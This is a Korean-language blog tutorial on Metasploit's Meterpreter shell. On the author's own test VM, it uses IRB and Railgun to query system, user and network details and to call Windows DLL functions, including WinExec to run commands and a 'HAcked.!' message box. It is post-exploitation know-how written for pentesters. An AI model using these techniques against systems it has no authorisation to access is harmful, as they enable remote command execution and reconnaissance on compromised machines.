Back

[METASPLOIT] Meterpreter Railgun / Useful API call for Hacker&Pentester

오늘은 Metasploit 의 강력한 쉘인 Meterpreter shell 중 Railgun과 IRB를 이용한 API 사용에 대한 내용으로 이야기를 준비했습니다.

쉬운 이해를 위해서 API Call 먼저보고 RailGun 순서로 진행됩니다. Meterpreter를 아주 강력하게 만들어주는 RailGun, 편리한 공격을 위한 IRB API에 대해 시작합니다. :)

Warm-up!

오늘도 meterpreter 테스트를 위해 가상머신 하나를 탈취합니다. (VM이라 동일 IP로 찍혀요)

hahwul exploit(handler) #> [] Sending stage (957999 bytes) to 192.168.0.8 [] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.8:51270) at 2016-07-18 23:12:21 +0900

hahwul exploit(handler) #> sessions -l

Active sessions

Id Type Information Connection


1 meterpreter x86/win32 BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9 192.168.0.8:4444 -> 192.168.0.8:51270 (10.0.2.15)

hahwul exploit(handler) #> sessions -i 1 [*] Starting interaction with 1…

meterpreter >

IRB를 이용한 Ruby Shell 실행

Meterpreter shell에선 ruby shell인 irb를 사용할 수 있습니다. 덤으로 metasploit 자체가 ruby로 짜여있기 때문에 굉장히 편하게 쓸 수 있죠. (ruby를 주력으로 쓰는 저에게는 최고의 구성)

meterpreter > irb [] Starting IRB shell [] The ‘client’ variable holds the meterpreter client

irb 사용은 meterpreter 사용에서 아주 유연함을 주기 때문에 알아둘수록 좋습니다.

API Call을 이용한 system info 수집

이 내용은 Metasploit Unleashed에 소개된 내용입니다. unleashed 에서 좋은 내용을 많이 다루기 때문에 MSF 공부하시는 분이라면 꼭 다 보셨으면 합니다.

먼저 meterpreter에서 ruby는 내부에 타겟에 대한 class 가 이미 선언되어 있습니다. 바로 “client” 인데요. client class에서 시스템에 대한 정보나 오늘 포스팅 목적인 railgun 까지 다 포함하고 있는 가장 큰 클래스입니다.

?> client => #<Session:meterpreter 192.168.0.8:51270 (10.0.2.15) “BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9”>

client class를 보면 연결에 대한 정보가 들어있음을 확인할 수 있죠.

이제 유용한 API를 하나하나 볼까요?

  1. sysinfo client.sys.config.sysinfo 에 있는 정보는 타겟 시스템에 대한 정보를 담고 있습니다.

client.sys.config.sysinfo => {“Computer”=>“BEGINNER-4CAED9”, “OS”=>“Windows XP (Build 2600, Service Pack 3).”, “Architecture”=>“x86”, “System Language”=>“ko_KR”, “Domain”=>“WORKGROUP”, “Logged On Users”=>2}

Computer이름부터 OS, Domain등등 여러가지 정보가 있네요. 각각의 정보는 Hash 형태로 저장되어 있어서 아래와 같이 각각 키 명을 호출하여 값을 불러올 수 있습니다.

client.sys.config.sysinfo[‘OS’] => “Windows XP (Build 2600, Service Pack 3).” client.sys.config.sysinfo[‘Domain’] => “WORKGROUP”

역시 hash는 루비의 엄청난 장점이죠.

  1. getuid sys.config 하단에 있는 getuid는 현재 client로 열린 쉘의 사용자를 가지고 있습니다. 권한이라고 보시면되죠. 이걸 이용해서 meterpreter shell로 접근 획득 후 admin 권한인지 확인하고, 없으면 local exploit 을 찾아서 자동으로 권한 탈취하는 meterpreter shell을 구성할 수도 있을 것 같네요.

client.sys.config.getuid => “BEGINNER-4CAED9\Administrator”

local exploit 관련 글은 아래 내용 참조해주세요.

[METASPLOIT] /local_exploit_suggester 모듈을 이용한 Local Exploit 찾기 (http://www.hahwul.com/2016/02/metasploit-localexploitsuggester-local.html)

  1. interfaces 마지막으로 ifconfig, ipconfig에 해당하는 net.config 하단의 interfaces 입니다. net 아래인 것 처럼 네트워크 정보를 담고 있으며 이 부분도 parsing 해서 사용 시 편리할 것 같습니다.

interface = client.net.config.interfaces interface.each do |i| ?> puts i.pretty end Interface 2 ============ Name : AMD PCNET Family PCI Ethernet Adapter - rfacee Hardware MAC : 08:00:27:14:c5:a9 MTU : 1500 IPv4 Address : 10.0.2.15 IPv4 Netmask : 255.255.255.0 Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1

Meterpreter RailGun - About

오늘 포스팅의 주 목적인 Railgun 부분입니다. 일단 railgun은 실제 무기로도 아주 요명하죠. 위력이 굉장하다고 들었던 것 같습니다.

meterpreter 에서의 railgun도 아주 강력합니다. 개인적으로 meterpreter shell 기능 중 top3로 꼽습니다.

RailGun은 Meterpreter shell이 침투한 Windows에서 동작할 때 사용할 수 있는 확장부분입니다. Target system에 존재하는 DLL과 그 내부의 함수, 코드등에 대해 실행할 수 있어 공격자로 하여금 좀 더 유연한 공격과 편리한 기능을 제공합니다.

다만 예쁘게 help를 주는건 아니니 각 DLL 별 함수 종류 및 사용법을 위해서는 MSDN은 필수입니다.

Meterpreter RailGun - Using USER32.DLL fucntion

아까 irb의 구조를 조금 보았기 때문에 아마도 이해에 도움되실겁니다. “client” 하단에 railgun이 따로 존재하며 위에서 말씀드렸듯이 railgun을 이용해서 system api 를 직접 호출할 수 있습니다.

일단 사용법을 보면 아래와 같습니다.

client.railgun..()

railgun 하단에 사용할 dll library가 들어가고 dll의 존재하는 함수명으로 호출이 간으합니다. 좀 더 쉬운 이해를 위해 아래 예제 코드를 볼까요?

client.railgun.user32.MessageBoxA(0,“HAHWUL”,“HAcked.!”,“MB_OK”)

railgun으로 user32.dll에 접근 후 MessageBoxA 함수를 실행합니다. MessageBoxA 함수는 Win API 프로그래밍을 해보셨다면 많이 익숙할껍니다. 바로 메시지 창이죠.


int WINAPI MessageBox(
  _In_opt_ HWND    hWnd,
  _In_opt_ LPCTSTR lpText,
  _In_opt_ LPCTSTR lpCaption,
  _In_     UINT    uType
);

위 값을 입력했을 때 Target PC에서 어떤일이 일어나는지 보죠.

user32.dll에 선언된 MessageBoxA 함수가 실행되어 제가 넣은 인자값으로 창이 뜨게 되었습니다.

사용 가능한 함수 리스트는 puts으로 찍어주면 쉽게 볼 수 있습니다.

puts client.railgun.user32 RuntimeError: DLL-function to_ary not found. Known functions: [“ActivateKeyboardLayout”, “AdjustWindowRect”, “AdjustWindowRectEx”, “AllowSetForegroundWindow”, …

Meterpreter RailGun - Using KERNEL32.DLL fucntion

자 그럼 하나 더 해볼까요? kernel32.dll에는 WinExec 라는 함수가 있습니다. 명령을 실행시켜주죠. (간단한 함수로 찾다보니 WinExec가 설명하기 좋겠더라구요)

함수형을 보면 아래와 같습니다.


UINT WINAPI WinExec(
  _In_ LPCSTR lpCmdLine,
  _In_ UINT   uCmdShow
);

1번 인자값으로 명령, 2번은 view 옵션이 들어갑니다. 이제 railgun으로 실행해볼까요?

client.railgun.kernel32.WinExec(“calc”,0) => {“GetLastError”=>0, “ErrorMessage”=>"\xC0\xDB\xBE\xF7\xC0\xBB \xBF\xCF\xB7\xE1\xC7\xDF\xBD\xC0\xB4\xCF\xB4\xD9.", “return”=>33}

계산기가 잘 뜨네요.

Conclusion

Railgun은 아주 좋은 Ruby Module(?) 입니다. meterpreter 자체의 irb 성능도 좋긴하지만 railgun으로 굉장히 유연하고 강력한 pentest, hacking을 지원하게 되죠.

ruby 자체로 코딩할 수 있으니 그 가능성은 무한하다고 봅니다.

Reference

https://www.offensive-security.com/metasploit-unleashed/api-calls/ http://www.hahwul.com/2015/08/metasploit-metasploit-autorunscript.html http://www.hahwul.com/2016/02/metasploit-localexploitsuggester-local.html https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms687393(v=vs.85).aspx https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms645505(v=vs.85).aspx

Licensed under CC BY-NC-SA 4.0
Last updated on Jul 10, 2021 01:05 +0900